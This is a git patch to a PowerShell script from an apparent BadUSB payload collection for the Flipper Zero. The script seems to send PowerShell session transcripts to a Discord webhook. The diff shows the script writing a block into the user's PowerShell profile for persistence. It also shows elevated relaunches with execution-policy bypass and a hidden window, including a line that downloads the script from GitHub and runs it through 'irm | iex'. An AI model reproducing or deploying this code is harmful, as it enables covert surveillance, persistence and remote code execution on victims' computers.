From 63b07f0bb47014fda0d6456542b7479fa2c4bfaa Mon Sep 17 00:00:00 2001 From: egieb <93350544+beigeworm@users.noreply.github.com> Date: Wed, 3 Apr 2024 19:23:40 +0000 Subject: [PATCH] Update main.ps1 --- Global-PS-Trascription-to-Discord/main.ps1 | 24 ++-------------------- 1 file changed, 2 insertions(+), 22 deletions(-) diff --git a/Global-PS-Trascription-to-Discord/main.ps1 b/Global-PS-Trascription-to-Discord/main.ps1 index da00adf..5423fb1 100644 --- a/Global-PS-Trascription-to-Discord/main.ps1 +++ b/Global-PS-Trascription-to-Discord/main.ps1 @@ -3,8 +3,6 @@ if ($dc.Length -eq 0){ write-host "No webhook supplied" } -$hideWindow = 1 # 1 = Hidden - [Console]::BackgroundColor = "Black" [Console]::SetWindowSize(60, 20) Clear-Host @@ -15,23 +13,6 @@ Test-Path $Profile $directory = Join-Path ([Environment]::GetFolderPath("MyDocuments")) WindowsPowerShell $ps1Files = Get-ChildItem -Path $directory -Filter *.ps1 -Function HideConsole{ - If ($HideWindow -gt 0){ - $Async = '[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);' - $Type = Add-Type -MemberDefinition $Async -name Win32ShowWindowAsync -namespace Win32Functions -PassThru - $hwnd = (Get-Process -PID $pid).MainWindowHandle - if($hwnd -ne [System.IntPtr]::Zero){ - $Type::ShowWindowAsync($hwnd, 0) - } - else{ - $Host.UI.RawUI.WindowTitle = 'hideme' - $Proc = (Get-Process | Where-Object { $_.MainWindowTitle -eq 'hideme' }) - $hwnd = $Proc.MainWindowHandle - $Type::ShowWindowAsync($hwnd, 0) - } - } -} - function CreateRegKeys { param ([string]$KeyPath) @@ -43,10 +24,10 @@ function CreateRegKeys { Function RestartScript{ if($PSCommandPath.Length -gt 0){ - Start-Process PowerShell.exe -ArgumentList ("-NoP -Ep Bypass -File `"{0}`"" -f $PSCommandPath) -Verb RunAs + Start-Process PowerShell.exe -ArgumentList ("-NoP -Ep Bypass -W H -File `"{0}`"" -f $PSCommandPath) -Verb RunAs } else{ - Start-Process PowerShell.exe -ArgumentList ("-NoP -Ep Bypass -C irm https://raw.githubusercontent.com/beigeworm/BadUSB-Files-For-FlipperZero/main/Global-PS-Trascription-to-Discord/main.ps1 | iex") -Verb RunAs + Start-Process PowerShell.exe -ArgumentList ("-NoP -Ep Bypass -W H -C irm https://raw.githubusercontent.com/beigeworm/BadUSB-Files-For-FlipperZero/main/Global-PS-Trascription-to-Discord/main.ps1 | iex") -Verb RunAs } exit } @@ -123,7 +104,6 @@ catch [System.Management.Automation.PSNotSupportedException] "@ $scriptblock | Out-File -FilePath $Profile -Force -HideConsole function Send-ToDiscord { param (